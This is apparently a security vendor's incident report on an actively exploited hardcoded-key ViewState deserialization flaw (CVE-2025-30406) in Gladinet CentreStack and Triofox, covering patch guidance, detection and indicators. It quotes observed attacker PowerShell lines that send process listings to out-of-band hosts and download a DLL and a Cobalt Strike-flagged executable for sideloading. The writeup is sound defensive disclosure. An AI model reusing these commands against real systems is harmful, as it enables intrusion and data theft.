CVE-2025-30406 - Critical Gladinet CentreStack & Triofox Vulnerability Exploited In The Wild

Special thanks to Craig Sweeney, Hayden Drummond, Michael Tigges, Tanner Filip, Jevon Ang, Jamie Dumas, Stephanie Fairless, and Lindsey Welch for their contributions and support for this writeup.

On Friday, 11 April 2025, the Huntress SOC received an alert from one of our own internal detectors known to catch 0-day exploitation. 

Figure 1: Process Tree of the Powershell Payload Originating from the IIS Worker Process

While this is a simple detection to see suspicious outbound connections from an irregular child process, it indicates there may be more to uncover against the software served by the web service worker.

In this case, the suspect software was Gladinet CentreStack, which was just recently added to CISA’s Known Exploited Vulnerabilities database with CVE-2025-30406. At the time of writing, Huntress has seen seven different organizations compromised via this attack vector.

Figure 2: Drill Down into the Command Line of w3wp.exe

Figure 3: Screenshot of CISA’s Notification of CVE-2025-30406

There are a few hundred vulnerable servers exposed to the public Internet according to Shodan. While this may be a relatively small number, the risk of immediate compromise is still severe. 

Figure 4: Screenshot of Shodan Showing Effected Versions of CentreStack

It is very important to note that this weakness also affects Gladinet Triofox, up to version 16.4.10317.56372. By default, previous versions of the Triofox software have the same hardcoded cryptographic keys in their configuration file, and can be easily abused for remote code execution.

What is CVE-2025-30406?

Per the NIST NVD database, this 9.0 critical severity vulnerability pertains to hardcoded keys set in by default in the CentreStack and Triofox configuration files. 

Figure 5: Screenshot of MITRE’s Description of CWE-321 / CVE-2025-30406

The CentreStack web portal is an ASPX application and uses the typical web.config file, which we have seen within the most common installation path:

C:\Program Files (x86)\Gladinet Cloud Enterprise\root\web.config

We have also seen a web.config file at this path:

C:\Program Files (x86)\Gladinet Cloud Enterprise\portal\web.config

This weakness can be leveraged to abuse the ASPX ViewState, a mechanism used to preserve the state of a web page and its controls between multiple HTTP requests. The hardcoded keys open the door for a very standard and well-researched attack technique with ViewState deserialization.

To be clear, there may be two web.config files (one in root\ and one in portal\ directories) as this is a very common setup in ASP.NET applications. There is a root web app, and nested sub-applications.

• root\web.config is the main configuration file for the root site hosted by IIS.
• The portal\web.config is the configuration for a child application mounted at /portal/, which is a sub-application in IIS.

To patch or mitigate the risk, if both web.config files are present, both must have updated machineKey values or the portal\web.config machineKey can be removed. The official Gladinet updates the root\web.config file but removes the machineKey entry from portal\web.config. This is a very important nuance because all configuration files must make sure they do not use the default hardcoded key value in order to be fully protected.

If a Gladinet CentreStack or Triofox server is exposed to the Internet with these hardcoded keys, it is in immediate danger and needs to be patched or have the machineKey values changed as soon as possible. CVE-2025-30406 is known to be actively exploited by threat actors, and this 9.0 critical severity issue has no “prerequisites” other than knowing the default key values. Exploitation leads to remote code execution as the IISAPPPOOL\portaluser, which can easily escalate privileges to NT AUTHORITY\SYSTEM and fully compromise the target server.

For previous versions of Triofox servers, the web.config files have been found at these file paths within the installation directory as appropriate:

C:\Program Files (x86)\Triofox\root\web.config

C:\Program Files (x86)\Triofox\portal\web.config

Huntress security researchers have recreated a proof-of-concept exploit to demonstrate the effects of this vulnerability.

Mitigation guidance / What should I do? 

The minimum patched version of Gladinet CentreStack is 16.4.10315.56368. All versions below, including 16.1.10296.56315 and prior, are vulnerable with the hardcoded machineKey values as default. Triofox is patched at version 16.4.10317.56372, with all versions below vulnerable.

Gladinet has provided their own official security advisory and remediation guidance for both CentreStack and Triofox:

• CentreStack:
  https://gladinetsupport.s3.us-east-1.amazonaws.com/gladinet/securityadvisory-cve-2005.pdf

• Triofox:
  https://gladinetsupport.s3.us-east-1.amazonaws.com/gladinet/securityadvisory-cve-2025-triofox.pdf

If you are unable to patch by upgrading to the latest version, it is imperative that at a minimum you change your machineKey values with the process outlined in their guide. 

Huntress has prepared this PowerShell script as a convenience for you to check if you are vulnerable. Run this snippet on a server running Gladinet CentreStack or Triofox:

To streamline the process of changing your machineKey, we have also prepared this PowerShell script to generate a new decryption key and validation key in your web.config file. This automates the minimum work needed to be protected against this vulnerability:

Using these two scripts, you should very easily be able to evaluate your risk against CVE-2025-30406, mitigate, and then re-evaluate to ensure you are protected.

Huntress observations 

To search across the Huntress partner base, we observed the default autorun configured by the Gladinet CentreStack software: a Windows service running by the GladinetCloudMonitor.exe binary in the root of installation folder. At the time writing, we have seen the software on approximately 120 endpoints, with 7 unique organizations affected by exploitation of the vulnerability.

The earliest known indicators of compromise within the Huntress partner base occurred at 2025-04-11 16:59:44 UTC (shown above in Figure 1). This was a test of reliable code execution:

powershell.exe  Invoke-WebRequest -Uri http://REDACTED.oastify.com/REDACTED

To check for successful exploitation, look for ViewState errors within the Windows Application Event Log around the time of exploitation with Event ID 1316.

Decoding the Base64 found in the event log will reveal the command attempted to be executed on the host.

Huntress has also observed other Out-of-Band Requests prior to post-exploitation to confirm connectivity to unpatched servers.

powershell.exe  Invoke-WebRequest -Uri http://REDACTED.oast.fun -Method POST -Body $(tasklist)

Something to note is the similarities in tradecraft with these discovery commands and a cluster of activity exploiting the recent CrushFTP vulnerability in our recent blog: CVE-2025-31161 Auth Bypass and Post-Exploitation.

Post exploitation

Huntress has also observed threat actors attempting to use encoded PowerShell to download and sideload a DLL via a commonly used cradle technique:

• Command: powershell.exe -encodedCommand REDACTEDBASE64PAYLOAD==
  • Cleartext:  Invoke-WebRequest -uri http://REDACTED:REDACTED/d3d11.dll -outfile C:\Users\Public\REDACTED\d3d11.dll
• Command: Invoke-WebRequest -uri http://redacted:redacted/Centre.exe -outfile C:\Users\Public\Redacted\Centre.exe

This Centre.exe executable, likely named after the vulnerability, is a renamed “Wallpaper Engine Launcher” from Kristjan Skutta originally named launcher.exe. It should also be noted that the d3d11.dll file is the same file previously reported in our recent CrushFTP blog, as well.  This highlights how quickly threat actors can pivot to leverage new vulnerabilities, but that their post attack methods don’t necessarily have to change in order to be effective.

The Centre.exe process was removed by Windows Defender within minutes with the following Threat Name: 

Behavior:Win32/CobaltStrike.H!sms

Across all pertinent incidents, the Centre.exe executable connected to these IP addresses:

• 104.21.16[.]1

• 104.21.48[.]1

Threat actors have also been observed performing lateral movement and performing installation of remote access tooling, namely MeshCentral. A host within an organization had not been onboarded to Huntress at the time of exploitation and resulted in lateral movement to another endpoint.

On the second host (that was running the Huntress agent), we observed default Impacket PowerShell commands were run to perform various enumeration commands, install the MeshCentral remote access tool MeshAgent, and execute the previously discussed renamed launcher.exe binary (Centre.exe).

The MeshCentral agent connects to rtb[.]mftadsrvr[.]com, with the same IP as the Centre.exe connection.

Proof of concept 

While a public proof-of-concept is not yet available, we will refrain from sharing further technical details and our own internal proof-of-concept. You can see example effects from exploitation with a video demonstration below:

We don’t have any intentions of sharing the proof-of-concept to embolden other adversaries, but once an external exploit is shared publicly we will update this blog to include the technical details of recreating the attack script.

We can confirm the Gladinet CentreStack and Triofox patches are effective in stopping exploitation from our tested proof-of-concept.

What is Huntress doing?

Huntress has identified ~120 endpoints running the Gladinet CentreStack software across our partner base. 

Our team is sending email notifications and thorough outreach to partners running the Gladinet CentreStack and Triofox software to urge them to patch or mitigate CVE-2025-30406. The PowerShell scripts above and resources below in this blog post should arm you to test, detect, and mitigate against this vulnerability.

We have prepared this Sigma detector to alert on the code execution effects of CVE-2025-30406:

Additionally, we have developed a Chainsaw rule to enable easy detection within Windows Event Logs thanks to WithSecure’s phenomenal Chainsaw utility. The WithSecure team has spent significant time and effort previously helping us in troubleshooting while Huntress has made past upstream contributions -- we are very grateful for their collaboration.

If you think you could be impacted, take advantage of our trial to quickly discover any artifacts left behind.

Indicators of Compromise (IOCs)

References

• https://www.cve.org/CVERecord?id=CVE-2025-30406

• https://gladinetsupport.s3.us-east-1.amazonaws.com/gladinet/securityadvisory-cve-2005.pdf

• https://gladinetsupport.s3.us-east-1.amazonaws.com/gladinet/securityadvisory-cve-2025-triofox.pdf